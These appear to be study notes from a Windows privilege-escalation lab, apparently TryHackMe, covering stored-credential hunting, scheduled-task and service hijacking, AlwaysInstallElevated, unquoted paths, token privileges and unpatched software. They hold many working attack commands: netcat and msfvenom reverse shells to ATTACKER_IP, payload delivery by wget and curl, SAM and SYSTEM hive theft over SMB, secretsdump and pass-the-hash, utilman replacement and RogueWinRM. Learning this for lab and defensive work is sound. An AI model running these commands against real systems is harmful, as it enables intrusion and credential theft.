Administrators | Users with the highest privileges. Can change system configurations and access all files. | Full access |
Standard Users | Users with limited privileges. Cannot make permanent or essential system changes. | Restricted to their files |
SYSTEM/LocalSystem | Account used by the OS for internal tasks. Has more privileges than administrators. | Full system-level access |
Local Service | Default account for running Windows services with minimum privileges. Uses anonymous network connections. | Minimal privileges |
Network Service | Default account for running Windows services with minimum privileges. Uses computer credentials for authentication over the network. | Minimal privileges with network access |
SYSTEM/LocalSystem, Local Service and Network Service are created and managed by Windows, and you won't be able to use them as other regular accounts. Still, in some situations, you may gain their privileges due to exploiting specific services.
After shell access
- Check VNC server registry for plaintext passwords
- Check FileZilla FTP XML file using (MD5 or plaintext)
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\xampp\FileZilla Server\FileZilla Server.xml
- Check for escalation to SYSTEM or admin account
- Then add your own account and login over RDP, telnet, winexe, psexec, WinRM or any number of other methods, using commands:
net user
/add net localgroup administrators
/add
Ideally we always want to escalate into using a "normal" method for accessing the machine, as this will invariably be easier to use for further exploitation of the target.
Unattended Windows Installations
When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. Such installation require an admin account.
Files such as:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
are part of unattended Windows installations, and may contain admin account credentials.
Powershell History
If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe
prompt:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
**Note: The command above will only work from cmd.exe, as Powershell won't recognize *%userprofile%** as an environment variable. To read the file from Powershell, you'd have to replace %userprofile% with $Env:userprofile.*
Saved Windows Credentials
View saved credentials by running:
cmdkey /list
While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below
runas /savecred /user:admin cmd.exe
IIS Configurations
Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Here is a quick way to find database connection strings on the file:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Retrieve Credentials from Software: PuTTY
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.
To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
***Simon Tatham is the creator of PuTTY. The stored proxy username should also be visible after running the command above.
Just as putty stores credentials, any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved
Scheduled Tasks
Run schtasks
to see all scheduled tasks.
Run schtasks /query /tn vulntask /fo list /v
for more details of each task.
Example output:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
Focus on:
- Task To Run which indicates what gets executed by the scheduled task
- Run As User which shows the user that will be used to execute the task
Check file permission of Task To Run using icacls
to check if our user can modify/overwrite the file.
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
As can be seen in the result, the BUILTIN\Users group has full access (F) over the task's binary. This means we can modify the .bat file and insert any payload we like.
For your convenience, nc64.exe can be found on C:\tools. Let's change the bat file to spawn a reverse shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
Then we start listener on attacker's shell nc -lvp 4444
We wait for the scheduled task to execute or run it manually using schtasks /run /tn vulntask
AlwaysInstallElevated
Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones).
This method requires two registry values to be set. You can query these from the command line using the commands below.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Both should be set to exploit this vulnerability.
If these are set, you can generate a malicious .msi file using msfvenom, as seen below:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
As this is a reverse shell, you should also run the Metasploit Handler module configured accordingly. Once you have transferred the file you have created, you can run the installer with the command below and receive the reverse shell:
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windows
Run WinPEAS, can be downloaded here.
WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths.
WinPEAS output can be lengthy, so store output into a file to ease reading.
winpeas.exe > outputfile.txt
Run PrivescCheck, can be downloaded here.
PrivescCheck is a PowerShell script that searches common privilege escalation on the target system.
**To run PrivescCheck on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can use the Set-ExecutionPolicy cmdlet as shown below.
Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck
Run WES-NG: Windows Exploit Suggester - Next Generation, Python script can be downloaded here.
WES-NG checks for missing patches using its database. WinPEAS run on target machine, WES-NG runs on attacker machine.
Before executing WES-NG, run wes.py --update
to update its database.
To use the script, you will need to run the systeminfo
command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.
Finally, run wes.py systeminfo.txt
.
Use Metasploit as well, duh.
use the multi/recon/local_exploit_suggester
module to list vulnerabilities that may affect the target system
Windows Services
Windows services are managed by the Service Control Manager (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.
Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.
Check using sc qc
**PowerShell has **sc* as an alias to Set-Content, therefore you need to use sc.exe in order to control services with PowerShell this way*
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
- BINARY_PATH_NAME: associated executable
- SERVICE_START_NAME: account used
Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Process Hacker.
All of the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\
:
A subkey exists for every service in the system. Again, we can see the associated executable on the ImagePath value and the account used to start the service on the ObjectName value. If a DACL has been configured for the service, it will be stored in a subkey called Security. As you have guessed by now, only administrators can modify such registry entries by default.
Insecure Permissions on Service Executable
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
Executable associated is C:\Progra~2\System~1\WService.exe
.
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
By checking its permissions, we can see that everyone can modify. We can modify the file into a payload of our choice, and the service will execute it with the privileges of the configured user account.
Let's generate a payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
Then deliver the payload:
python3 -m http.server
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
or curl -O http://ATTACKER_IP:8000/rev-svc.exe
Replace the executable to our payload:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
The last command is to grant everyone full permission.
We then start a reverse listener on our machine:
nc -lvp 4445
Then restart the service:
sc stop windowsscheduler
sc start windowsscheduler
Unquoted Service Paths
When working with Windows services, a very particular behaviour occurs when the service is configured to point to an "unquoted" executable. By unquoted, we mean that the path of the associated executable isn't properly quoted to account for spaces on the command.
**PowerShell has **sc* as an alias to Set-Content, therefore you need to use sc.exe in order to control services with PowerShell this way*
Below shows an example of properly quoted path.
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Below shows example of not properly quote path:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
When the system wants to execute the command, it searches for:
C:\MyPrograms\Disk.exe
C:\MyPrograms\Disk Sorter.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
If the 1st path does not exist, then it will search for the 2nd, then the 3rd.
When an attacker creates any of the executables that are searched for before the expected service executable, they can force the service to run an arbitrary executable.
While this sounds trivial, most of the service executables will be installed under C:\Program Files
or C:\Program Files (x86)
by default, which isn't writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule: - Some installers change the permissions on the installed folders, making the services vulnerable. - An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited.
Below shows the permissions on the parent directory:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
The BUILTIN\\Users group
has AD and WD privileges, allowing the user to create subdirectories and files.
We create a payload, upload to server then set up a listener.
We then move tha payload where hijacking may occur, for example the Disks.exe
. Then we grant Everyone full permission.
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
Restart the paylod.
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
Insecure Service Permissions
Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.
Use AccessChk. Below is an example of output.
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
Here we can see that the BUILTIN\\Users group
has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.
Before changing the service, let's build another exe-service reverse shell and start a listener for it on the attacker's machine, then grant Everyone permission to execute it.
We the change the executeable and account:
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Start a listener in the attacker machine.
C:\> sc stop THMService
C:\> sc start THMService
Windows Privileges
Privilege of current user can be checked using: whoami \priv
A complete list of available privileges on Windows systems is available here. From an attacker's standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.
SeBackup / SeRestore
- allow users to read and write to any file in the system, ignoring any DACL in place
- idea is to allow certain users to perform backups from a system without requiring full administrative privileges
Run command prompt as administrator as some accounts can have elavated privileges.
We target SAM and SYSTEM hives as those places are where admin passwords are stored. (there are more ways)
To backup those files:
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\system C:\Users\THMBackup\system.hive
We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket's smbserver.py to start a simple SMB server with a network share in the current directory.
mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username USERNAME -password PASSWORD public share
This will create a share named public
pointing to the share
directory, which requires the username and password of our current windows session. After this, we can use the copy command in our windows machine to transfer both files to our machine.
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
And use impacket to retrieve the users' password hashes.
python3.9 /opt/impacket/examples/secretsdump.py -sam share/sam.hive -system share/system.hive LOCAL
Example output:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
We can finally use the Administrator's hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@TARGET_IP
SeTakeOwnership
Log in the user as administrator
We'll abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen.
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.
To replace utilman, we will start by taking ownership of it with the following command:
takeown /f C:\Windows\System32\Utilman.exe
Then grant yourself full privilege.
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
After this, we will replace utilman.exe with a copy of cmd.exe.
copy cmd.exe utilman.exe
We trigger utilman by choosing Lock.
And finally, proceed to click on the "Ease of Access" button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges.
SeImpersonate / SeAssignPrimaryToken
These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.
- File access depends on the permissions of the ftp user, not the individual users, which complicates permission management.
- The operating system cannot enforce proper per-user file access because all operations appear to originate from the ftp user, requiring the FTP service itself to handle authorization.
- A compromise of the FTP service grants attackers broad access
If, on the other hand, the FTP service's user has the SeImpersonate or SeAssignPrimaryToken privilege, all of this is simplified a bit, as the FTP service can temporarily grab the access token of the user logging in and use it to perform any task on their behalf.
Now, if user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Ann's access token and use it to access her files. This way, the files don't need to provide access to user ftp in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it won't be able to access Jude's or Bill's files during that session.
As attackers, if we manage to take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.
In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called "iis apppool\defaultapppool" for web applications.
To elevate privileges using such accounts, an attacker needs the following:
- To spawn a process so that users can connect and authenticate to it for impersonation to occur.
- Find a way to force privileged users to connect and authenticate to the spawned malicious process.
iis apppool\defaultapppool Account Accessed
Run whiami /priv
, confirm we hold both SeImpersonate / SeAssignPrimaryToken privileges.
We can use RougeWinRM (downloaded here) because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.
If WinRM service is not running, the attacker can run a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
Start a netcat listener on attacker machine.
Run
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
in target Windows machine.
***The exploit may take up to 2 minutes to work. The BITS service will stop automatically after 2 minutes of starting.
Unpatched Software
You can use the wmic
tool to list software installed on the target system and its versions. The command below will dump information it can gather on installed software (it might take around a minute to finish).
wmic product get name,version,vendor
Remember that the wmic product
command may not return all installed programs.
Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.
Once we have gathered product version information, we can always search for existing exploits on the installed software online on sites like Exploit-DB, Packet Storm or plain old Google, amongst many others.